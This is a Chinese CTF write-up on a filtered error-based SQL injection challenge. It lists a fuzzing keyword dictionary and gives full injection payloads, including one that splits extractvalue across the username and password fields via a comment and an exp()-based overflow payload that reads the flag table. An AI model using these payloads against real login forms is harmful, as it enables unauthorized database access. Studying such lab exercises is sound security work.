實驗吧 加了料的報錯注入 exp報錯注入

2022-09-15 04:00:13 字數 2794 閱讀 1158

先檢視頁面原始碼得到提示知道了後台執行的sql語句,很常規的查詢

測試了乙個報錯函式發現如下回顯,可見遮蔽了報錯資訊,也有可能是監測到了updatexml這個報錯函式,於是先用burp來fuzzing測試一波,看看哪些關鍵字

被遮蔽了

burp抓包並send to intruder

分別對username和password進行fuzzing測試,這裡演示username的,設定完後點選start attact

fuzzing測試的字典我是自己寫的,就寫了些常見的關鍵字,你們可以將就用下

andor=

>

'"regexp

substr

midleft

join

rigth

like

select

from

union

,updatexml

extractvalue

expchar

ascii

insert

into

delete

update

alter

create

where

/**/

-- --

#all

distinct

notas

order

bydesc

asch**ing

floor

geometrycollection

polygon

multipoint

multilinestring

linestring

multipolygon

最後得出username處遮蔽了括號,=,substr 等等關鍵字

而password遮蔽了如updatexml,extractvalue等等會產生報錯的函式,還有union,like 等等

似乎有點矛盾,想要報錯注入,必須要構造乙個報錯函式,函式名 和 括號 缺一不可,但是兩個注入點都不滿足條件。但是可以將兩個注入點「打通」,前者函式名,後者括號不就行了?於是構造如下

後台的查詢語句就為

select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '

去掉注釋即為

select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '

然後猜解表名,因為password遮蔽了=,所以用regexp

猜解列名

username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' ) )) and '

猜解字段

這道題其實對於報錯函式的過濾還有乙個漏網之魚——exp()

詳見所以構造

username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '

實驗吧 加了料的報錯注入

前言 不得不說這一題對我來說挺有難度的,以前沒有遇到過。看了別人的writeup過後,也想要記錄一下,給自己攢攢經驗 這題的解法有兩種 2 exp 報錯注入 hpf注入 檢視原始碼 就是要提交post資料,我直接在burpsuite裡面操作。隨便輸入兩個引數,頁面提示login failed。根據原...

加了料的報錯注入 實驗吧

題目直接告訴了我們注入點存在於我們post進去的兩個變數,即username和password當中,f12檢視原始碼後得到提示,sql語句是以單引號的方式進行閉合的後進行注入測試。首先對username進行注入,經過初步測試對 進行了過濾,採用 進行繞過。顯示雖然waf被繞過username中依舊存...

實驗吧 加了料的報錯注入

頁面提示我們postusername與password兩個引數,看了看原始碼,裡面提示了我們sql語句 sql select from users where username username and password password 先隨手post幾個數試試,發現頁面返回有四種形式,當輸入ad...